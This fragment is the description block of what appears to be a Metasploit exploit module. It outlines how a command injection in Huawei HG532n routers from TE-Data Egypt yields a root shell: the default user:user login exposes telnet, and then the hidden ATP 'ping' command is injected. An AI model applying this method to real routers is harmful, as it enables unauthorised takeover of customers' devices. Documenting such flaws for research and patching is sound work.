      'Description' => %q(
        This module exploits a command injection vulnerability in the Huawei
        HG532n routers provided by TE-Data Egypt, leading to a root shell.

        The router's web interface has two kinds of logins, a "limited" user:user
        login given to all customers and an admin mode. The limited mode is used
        here to expose the router's telnet port to the outside world through NAT
        port-forwarding.

        With telnet now remotely accessible, the router's limited "ATP command
        line tool" (served over telnet) can be upgraded to a root shell through
        an injection into the ATP's hidden "ping" command.
